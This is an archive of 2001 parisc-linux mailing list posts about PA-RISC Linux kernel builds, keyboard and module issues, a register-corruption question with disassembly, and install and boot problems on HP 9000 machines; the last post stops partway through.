NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:41 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Thomas Marteau <marteaut" <marteaut%esiee.fr%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 00:07:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 534A1482A
	for <parisc-linux@parisc-linux.org>; Thu, 19 Jul 2001 00:07:48 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d54d69fc479@epirel991.europay.com> for <parisc-linux@parisc-linux.org>;
 Thu, 19 Jul 2001 08:07:27 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/19/2001 08:10:10 AM
Xref: news.gmane.org gmane.linux.ports.parisc:11682

Thomas,

Thanks a lot for information.

I am so waiting your patch for kbd (the cvs question was in fact to try to
understand changes that make ps2 kbd un-operational and by the way why
unplug re-plug of b180 kbd was requested).

Always happy to try to help free and open software community.

Joel



                                                                           =
                                       =20
                    Thomas                                                 =
                                       =20
                    Marteau              To:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD,                            =20
                    <marteaut@esi        parisc-linux@parisc-linux.org@SMTP=
@EUROPAY                               =20
                    ee.fr>               cc:                               =
                                       =20
                                         Subject:     Re: 2.4.6-pa20 questi=
on about modules                       =20
                    19-07-01                                               =
                                       =20
                    12:29 AM                                               =
                                       =20
                                                                           =
                                       =20
                                                                           =
                                       =20



Hi Jo=EBl and all,
>
> With your tips
> (
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-July/013081.html)
>
> the cvs 20010717 seems to works fine.
> (for b180 still have to unplug re-plug kdb)
Nice to know that. But, I think I will deliver a big patch for the
keyboard story. Then, I will need some testers. Thanks to be one of them
:)
>
> I also try to recompile it with the .config file supply with
palinux-0.9.2.
> It also seems to works well but modules are not install naturally.
> Can you explain me how to compile it and install it?
>
First, you must know that some of the drivers are not modularized yet. I
think that it looks like pc modules. But since I am not a guru in this
stuff, I think someone else will tell you
> Thanks in advance for help,
>      Joel
>
> PS: How is it possible to cvs co a previous kernel release now (f.e.
> 2.4.0-pa30)?
I would like to know. I think, if you read at Paul Bame litterature, he
said that it is broken for 2.4.0.
I can grab old versions with cvs co -r 1.83 linux, for example.
To know the release you want, use this:
http://puffin.external.hp.com/cgi-bin/cvsview/

Thanks again for reporting, Thomas.
ESIEE Team

PS: I also hope an explanation of modules on hppa. I will have to write
all the cleanup stuff for the mouse.





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] r3 getting trashed by __wake_up?
Date: Thu, 19 Jul 2001 01:51:15 -0600
Lines: 67
Approved: news@gmane.org
Message-ID: <200107190751.BAA09784@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620321 22602 80.91.229.3 (22 Nov 2014 01:38:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 01:52:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E033A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 01:52:10 -0600 (MDT)
Original-Received: (from grundler@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id BAA09784
	for parisc-linux@lists.parisc-linux.org; Thu, 19 Jul 2001 01:51:15 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11683

Hi parisc asm experts! ;^)

The problem I'm seeing is r3 is zero'd (trashed) by __wake_up()
when called by wake_up_parent().  I'm triggering this consistently
with "pon uunet" - ie fire up a ppp dialup session. The c3k crashes
after the modem returns a "CONNECT" string.

The c3k data page faults with:

	Kernel Fault: Code=26 regs=8e6a4740 (Addr=00000098)

IOAQ and GR02 are both wake_up_parent+24
(called from skip_save_ior+164) 

"objdump -rD kernel/signal.o" shows:

0000000000000000 <wake_up_parent>:
   0:   6b c2 3f d9     stw rp,-14(sp)
   4:   6f c4 00 80     stw,ma r4,40(sp)
   8:   6b c3 3f 89     stw r3,-3c(sp)
   c:   08 1a 02 44     copy r26,r4
  10:   08 04 02 43     copy r4,r3
  14:   34 19 00 02     ldi 1,r25
  18:   34 7a 01 50     ldo a8(r3),r26
  1c:   e8 00 a0 00     call 24 <wake_up_parent+0x24>
                        1c: R_PARISC_PCREL22F   __wake_up
  20:   08 19 02 58     copy r25,r24
  24:   48 73 01 30     ldw 98(r3),r19
  28:   36 63 3e d1     ldo -98(r19),r3
...


r3 is zero. But it obviously wasn't zero before calling __wake_up.
Now __wake_up save/restore of registers is a bit wierd...
It doesn't look right to me but it's been a long day:
0000000000000000 <__wake_up>:
   0:   08 03 02 41     copy r3,r1
   4:   6b c2 3f d9     stw rp,-14(sp)
   8:   08 1e 02 43     copy sp,r3
   c:   6f c1 01 00     stw,ma r1,80(sp)
  10:   0c 6d 12 90     stw  r13,8(sr0,r3)
...
  c8:   0c 70 10 8d     ldw  8(sr0,r3),r13
...
  f0:   34 7e 00 80     ldo 40(r3),sp
  f4:   e8 40 d0 00     ret       
  f8:   4f c3 3f 81     ldw,mb -40(sp),r3

I didn't see any code inbetween that modifies r3.
And from this code it looks like r3 is callee save.

Shouldn't sp be restored with "copy r3,sp"?
And the restore of r3 be "ldw 0(sp),r3"?

Everything on my c3k is up-to-date and vmlinux was built native from scratch:
   gcc-3.0 |    1:3.0-1 |      unstable | hppa, hurd-i386
   gcc-3.0 |    1:3.0-4 |      unstable | alpha, arm, i386, mips, mipsel, powerpc, sparc

Perhaps we just need to rebuild/use the newer gcc bits?
Other ideas?

thanks,
grant





From - Thu Nov 08 21:18:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.6-pa20 question about modules
Date: Thu, 19 Jul 2001 10:48:20 +0200
Lines: 81
Approved: news@gmane.org
Message-ID: <OFB91B1028.B293AC0E-ONC1256A8E.002F5D3A@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620322 22606 80.91.229.3 (22 Nov 2014 01:38:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:42 +0000 (UTC)
Cc: marteaut@esiee.fr, parisc-linux@lists.parisc-linux.org
To: "Richard Hirst <rhirst" <rhirst%linuxcare.com%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 02:47:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D682482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 02:47:07 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d54d7318cb9@epirel991.europay.com>;
 Thu, 19 Jul 2001 10:46:41 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/19/2001 10:49:24 AM
Xref: news.gmane.org gmane.linux.ports.parisc:11684

Hi Richard,

Just to clarify:
does it means that I have to (or I can) recompile my kernel from my
palinux-box?

Is it not possible from i386 linux box and the cross compiler?

Thanks again for support,
     Joel



                                                                           =
                                       =20
                    Richard Hirst                                          =
                                       =20
                    <rhirst@linux        To:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD                             =20
                    care.com>            cc:     marteaut@esiee.fr@SMTP@EUR=
OPAY,                                  =20
                                         parisc-linux@lists.parisc-linux.or=
g@SMTP@EUROPAY                         =20
                    19-07-01             Subject:     Re: [parisc-linux] 2.=
4.6-pa20 question about modules        =20
                    01:24 AM                                               =
                                       =20
                                                                           =
                                       =20
                                                                           =
                                       =20



On Wed, Jul 18, 2001 at 06:33:21PM +0200, Jo=EBl Soete wrote:
> Hi Thomas,
>
> With your tips
> (
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-July/013081.html)
>
> the cvs 20010717 seems to works fine.
> (for b180 still have to unplug re-plug kdb)
>
> I also try to recompile it with the .config file supply with
palinux-0.9.2.
> It also seems to works well but modules are not install naturally.
> Can you explain me how to compile it and install it?

If I understand correctly, you are rebuilding the kernel, and want
kernel modules installed correctly under /lib/modules?


cd /usr/src/linux   (or wherever your source tree is)
# save your .config file, if you want it
make distclean
cp <config file> .config
make oldconfig
make dep
make
make modules
make modules_install
cp vmlinux /boot/vmlinux   (or whereever you want it to go)


Richard





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jakob Sandgren <jakob@southpole.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installation success on C200
Date: Thu, 19 Jul 2001 12:09:11 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20010719120911.C6908@southpole.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620322 22612 80.91.229.3 (22 Nov 2014 01:38:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:42 +0000 (UTC)
Cc: Anders Nystrom <andesr@southpole.se>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 04:09:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.southpole.se (unknown [213.212.2.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2BDD482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 04:09:22 -0600 (MDT)
Original-Received: from idefix.southpole.se (idefix.southpole.se [213.212.2.131])
	by www.southpole.se (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA11458;
	Thu, 19 Jul 2001 12:09:11 +0200
Original-Received: (from jakob@localhost)
	by idefix.southpole.se (8.9.3/8.9.3/Debian 8.9.3-21) id MAA06973;
	Thu, 19 Jul 2001 12:09:11 +0200
Mail-Followup-To: jakob, parisc-linux@lists.parisc-linux.org,
	Anders Nystrom <andesr>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:11685

Hi,

I would just like to report that we have installed the 0.9.1 distro on
a C200 without any problems at all! It defaulted to the 32bit kernel,
we will try to build a new kernel with 64 bit support.

Great work with the distribution!! 

Some minor(?) bugs discovered so far:
* After the reboot during the last stage of installation we got a
  corrupted filesystem and some files ended up in lost+found.
* cat /proc/interupts gives an oops and hangs the system
* cat /dev/dsp gives an oops and hangs the system

A question;
during boot the firmware complains about that the memory is not
installed for "optimal performance". Do anyone know what to do about
this?


Let me know if someone would like to use this machine for autobuiling
etc, it has 512MB RAM and a good access to the Internet. 

/Jakob
-- 
Jakob Sandgren                  South Pole AB
Phone:  +46 8 51420420          Gelbjutarvgen 5
Fax:    +46 8 51420429          SE - 17148 Solna 
e-mail: jakob@southpole.se      www.southpole.se




From - Thu Nov 08 21:18:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] r3 getting trashed by __wake_up?
Date: Thu, 19 Jul 2001 20:20:08 +0930
Lines: 17
Approved: news@gmane.org
Message-ID: <20010719202008.C14307@bubble.sa.bigpond.net.au>
References: <200107190751.BAA09784@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620322 22614 80.91.229.3 (22 Nov 2014 01:38:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 04:50:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailin3.email.bigpond.com (juicer24.bigpond.com [139.134.6.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D2E1482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 04:50:47 -0600 (MDT)
Original-Received: from bubble.local ([144.135.24.75]) by
          mailin3.email.bigpond.com (Netscape Messaging Server 4.15) with
          SMTP id GGPVPH00.EZ6 for <parisc-linux@lists.parisc-linux.org>;
          Thu, 19 Jul 2001 20:56:05 +1000 
Original-Received: from 144.136.192.58 ([144.136.192.58]) by bwmam03.mailsvc.email.bigpond.com(MailRouter V2.9g 8323/22298808); 19 Jul 2001 20:56:00
Original-Received: (qmail 19972 invoked by uid 179); 19 Jul 2001 10:50:08 -0000
Mail-Followup-To: Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <200107190751.BAA09784@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Thu, Jul 19, 2001 at 01:51:15AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11686

On Thu, Jul 19, 2001 at 01:51:15AM -0600, Grant Grundler wrote:
> 
>   f0:   34 7e 00 80     ldo 40(r3),sp
>   f4:   e8 40 d0 00     ret       
>   f8:   4f c3 3f 81     ldw,mb -40(sp),r3
> 
> Shouldn't sp be restored with "copy r3,sp"?
> And the restore of r3 be "ldw 0(sp),r3"?

No, because then an interrupt might come along and trash 0(sp).  All
the assembly you showed looks good to me.

Alan





From - Thu Nov 08 21:18:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@chico.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation success on C200
Date: Thu, 19 Jul 2001 13:29:35 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <20010719132935.A12203@chico.franken.de>
References: <20010719120911.C6908@southpole.se>
Reply-To: tsbogend@alpha.franken.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620323 22617 80.91.229.3 (22 Nov 2014 01:38:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:43 +0000 (UTC)
To: jakob@chico.franken.de, parisc-linux@lists.parisc-linux.org,
	Anders Nystrom <andesr@chico.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 05:30:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rachael.franken.de (rachael.franken.de [193.175.24.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F7B0482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 05:30:26 -0600 (MDT)
Original-Received: by rachael.franken.de 
	for parisc-linux@lists.parisc-linux.org
	id m15NC0b-0029GaC; Thu, 19 Jul 2001 13:30:21 +0200 (MET DST)
Original-Received: from dns.franken.de(193.175.24.33), claiming to be "chico.franken.de"
 via SMTP by rachael.franken.de, id smtpdAAAa04652; Thu Jul 19 13:29:35 2001
Original-Received: by chico.franken.de 
	for parisc-linux@lists.parisc-linux.org
	id m15NBzr-0032sGC; Thu, 19 Jul 2001 13:29:35 +0200 (MET DST)
X-Mailer: Mutt 1.0.1i
In-Reply-To: <20010719120911.C6908@southpole.se>; from jakob@southpole.se on Thu, Jul 19, 2001 at 12:09:11PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11687

On Thu, Jul 19, 2001 at 12:09:11PM +0200, Jakob Sandgren wrote:
> * cat /proc/interupts gives an oops and hangs the system

that's a bug I already found and I have a not quite correct fix for it.
All systems with dinos are affected. I'll check in the fix later.

Thomas.





From - Thu Nov 08 21:18:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with Release 0.9 for PA-RISC
Date: Thu, 19 Jul 2001 13:39:09 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20010719133909.A24210@parcelfarce.linux.theplanet.co.uk>
References: <Ulrich.Laubrock@t-systems.de> <200107182135.PAA08428@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620323 22621 80.91.229.3 (22 Nov 2014 01:38:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:43 +0000 (UTC)
Cc: "Laubrock, Ulrich" <Ulrich.Laubrock@t-systems.de>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 06:39:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AE6D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 06:39:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15ND5C-0006ku-00; Thu, 19 Jul 2001 13:39:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200107182135.PAA08428@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Wed, Jul 18, 2001 at 03:35:58PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11688

On Wed, Jul 18, 2001 at 03:35:58PM -0600, Grant Grundler wrote:
> > My greatest problem is that i have no ftpd, no telnetd and no rlogind. 
> > As ftpd i think i can get wu_ftp, but where can i get an telnetd and an rlogi
> >   nd?
> 
> Right.  As root:
> 	apt-get update 
> 	apt-get install ftpd
> 	apt-get install telnetd
> 
> I didn't see a rlogind package available.

apt-cache search rlogind returns rrlogind, rsh-server, and
krb5-rsh-server.  rrlogind is a spurious hit, so you have your choice
of kerborised or vanilla rlogin servers :-)

> The evil-minded debian developers I consort with have brainwashed
> me into only using ssh and sshd.

... of course, i only have sshd installed :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mattias Nordlund <mathew@eagle.y.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000 K200
Date: Thu, 19 Jul 2001 15:33:59 +0200 (MEST)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.33.0107191528260.531-100000@r2d2.eagle.y.se>
References: <200107190219.UAA09084@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620323 22624 80.91.229.3 (22 Nov 2014 01:38:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:43 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 07:33:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amidala.eagle.y.se (amidala.eagle.y.se [194.17.221.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46B01482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 07:33:50 -0600 (MDT)
Original-Received: from r2d2.eagle.y.se (r2d2.eagle.y.se [194.17.221.12])
	by amidala.eagle.y.se (Postfix) with ESMTP
	id 0AB5232119; Thu, 19 Jul 2001 15:33:49 +0200 (MEST)
Original-Received: from localhost (mathew@localhost)
	by r2d2.eagle.y.se (8.9.3+Sun/8.9.3) with ESMTP id PAA09648;
	Thu, 19 Jul 2001 15:33:59 +0200 (MEST)
X-Authentication-Warning: r2d2.eagle.y.se: mathew owned process doing -bs
In-Reply-To: <200107190219.UAA09084@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11689



On Wed, 18 Jul 2001, Grant Grundler wrote:

> Mattias Nordlund wrote:
> >
>
> >From the bootlog, I only see that I built the kernel.
> The newest one from the FTP site is:
> -rw-r--r--   1 grundler cvsusers  1149294 May  6 00:34 lifimage_32_serial_20010505.gz
>
> Which version of the palinux-cd?
>
The newest, I guess, the one from the parisc-linux.org site.

>
>
> > bootlog:
> > http://ariana.eagle.y.se/~mathew/hp9000_boot.txt
>
> One would have to extract the System.map from the vmlinux in this lifimage
> in order to make any sense of the console log.
>
> Looks like a null ptr derefence. Trying a newer 32-bit kernel/lifimage
> would be a first step.  I've put a newer files on puffin.external.hp.com
> ftp site (pub/parisc/binaries/lifimages):
> -rw-r--r--   1 grundler cvsusers  1412239 Jul 18 20:14 lifimage_32_serial_20010717.gz
> -rw-r--r--   1 grundler cvsusers   549881 Jul 18 20:16 System.map_serial_20010717
>
> Can't promise they will work better though...
>

I've tried that kernel, and it dies at the sam point as my own kernel
died, I have include the new boot-log, as I don't reallt know how to find
teh right adress in the System.map =)

http://ariana.eagle.y.se/~mathew/hp9000_boot1.txt

Mattais N





From - Thu Nov 08 21:18:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Scammell, David" <David.Scammell@uk.wmmercer.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/33 disk and kernel make dep problems
Date: Thu, 19 Jul 2001 15:22:18 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <99F41EF55D11D511818600D0B74749C496F41D@wchrntms01.uk.wmmercer.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620324 22626 80.91.229.3 (22 Nov 2014 01:38:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:44 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 08:25:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailrx.uk.wmmercer.com (unknown [193.131.189.243])
	by dsl2.external.hp.com (Postfix) with ESMTP id 908A2482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 08:24:59 -0600 (MDT)
Original-Received: from wlvpntec02.uk.wmmercer.com (unverified) by mailrx.uk.wmmercer.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac1902f3ba54d83111df@mailrx.uk.wmmercer.com> for <parisc-linux@lists.parisc-linux.org>;
 Thu, 19 Jul 2001 15:25:47 +0100
Original-Received: by WLVPNTEC02 with Internet Mail Service (5.5.2650.21)
	id <PHKCA22V>; Thu, 19 Jul 2001 15:24:55 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11690

Hi,

I installed with 9.2, no problems, updated with apt-get.

I'd like to build my own kernel to test out a disk problem I have.

When I attempt anything which would fill the scsi disk queue with pending
writes
(e.g. tar xf kernel.tar), then machine hangs, I get some messages on the
serial
console which I've not got them written down yet, but these include a mount
read
only message. I'm using an old 2Gb disk (info not to hand, I'm at work), but
no so
old it shouldn't handle tagged writes. I'd like to change the queue depth
and bus
sync speed (looks like its set at 20Mhz, not 10Mhz) to see if this makes a
difference.

To compile a kernel, I've untarred it on an i686 and nfs mounted it on the
715,
make oldconfig works fine. Make dep hangs in some subdirectories (below
drivers/acpi... somewhere I can't remember). I can't figure out why. I'm
quite
familiar with recompilations on my intel box but can't figure out what could
be
wrong on the HP, any ideas?

Thanks

David Scammell


*************************** IMPORTANT NOTE **************************
The above information is confidential to the addressee and may be
privileged.  Unauthorised access and use is prohibited.  William M.
Mercer Limited is regulated by IMRO and the Personal Investment
Authority. Registered in London No. 984275 Registered Office: Telford
House, 14 Tothill Street, London SW1H 9NB




From - Thu Nov 08 21:18:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Damm <Damm@maico.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/64 wide mode problem
Date: Thu, 19 Jul 2001 17:19:00 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <364340662789D31198FC006094B958C5A19B56@maicoexs>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative ; boundary="----_=_NextPart_001_01C11066.2365FE80"
X-Trace: ger.gmane.org 1416620324 22630 80.91.229.3 (22 Nov 2014 01:38:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:44 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 09:19:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from [212.86.167.6] (unknown [212.86.167.6])
	by dsl2.external.hp.com (Postfix) with SMTP id 45E8D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 09:19:23 -0600 (MDT)
Original-Received: from www.maico.de by [212.86.167.6]
          via smtpd (for dsl2.external.hp.com [192.25.206.7]) with SMTP; 19 Jul 2001 15:19:23 UT
Original-Received: from maico-websrv.maico.de ([127.0.0.1]) by maico-websrv.maico.de
          (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35)
          with ESMTP id de for <parisc-linux@lists.parisc-linux.org>;
          Thu, 19 Jul 2001 17:20:02 +0200
Original-Received: from [212.86.177.1] (unverified) by maico-websrv.maico.de
 (Content Technologies SMTPRS 4.2.1) with SMTP id <T54d8996199d456b1041f5@maico-websrv.maico.de> for <parisc-linux@lists.parisc-linux.org>;
 Thu, 19 Jul 2001 17:19:43 +0200
Original-Received: from mail.maico.de by [212.86.177.1]
          via smtpd (for [212.86.177.6]) with SMTP; 19 Jul 2001 15:19:00 UT
Original-Received: by maicoexs with Internet Mail Service (5.5.2653.19)
	id <P1ZP0GM1>; Thu, 19 Jul 2001 17:19:01 +0200
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11691

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C11066.2365FE80
Content-Type: text/plain


i'm trying to install pa-risc linux on a hp 9000/715/64 box via an internal
cdrom drive.  the kernel boots up but then reports

  "firmware does not allow selection of default wide mode.
   are you trying to boot a 64bit kernel on a pa1.1 box?"

